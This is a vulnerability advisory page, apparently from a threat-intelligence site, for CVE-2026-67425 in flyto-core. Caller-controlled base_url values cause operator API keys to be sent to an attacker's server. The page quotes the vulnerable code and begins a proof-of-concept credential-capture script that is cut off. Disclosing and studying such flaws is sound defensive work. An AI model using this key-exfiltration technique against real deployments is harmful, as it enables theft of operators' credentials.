highCVSS 8.6Vulnerability

CVE-2026-67425

## Summary `llm.chat` reads the operator's provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)" as High. ## Affected code `src/core/modules/atomic/llm/chat.py` (`_call_openai`): ```python base_url = params.get('base_url') # caller-controlled if base_url: validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes if not api_key: api_key = os.getenv('OPENAI_API_KEY') # operator's key ... url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {api_key}"} await client.post(url, headers=headers, json=payload) # sent to base_url ``` The same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host. ## Reproduction Save as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server. ```python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {} class Attacker(BaseHTTPRequestHandler): def do_POST(self): CAPTURED["auth"] = self.headers.get("Aut

Properties

severity
high
summary
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
epss_score
0.0032
cvss_score
8.6
ghsa_published
2026-07-30T14:47:16Z
source_url
https://github.com/advisories/GHSA-qq9q-xgm3-xv9g
ghsa_updated
2026-07-30T14:47:18Z
ghsa_id
GHSA-qq9q-xgm3-xv9g
cve_id
CVE-2026-67425
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
signal_observed_at
2026-09-11T17:55:57+00:00
is_ghsa_only
false
epss_percentile
0.2477

Related Entities (6)

ENRICHED_BY (1)

[Source]FIRST EPSS

VULNERABLE_TO (1)

[Software]pip/flyto-core

AFFECTS (1)

[Software]pip/flyto-core

HAS_WEAKNESS (2)

[Weakness]Insertion of Sensitive Information Into Sent Data
[Weakness]Insufficiently Protected Credentials

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-67425 (CVSS 8.6) — Ninja Signal Threat Intelligence | Ninja Signal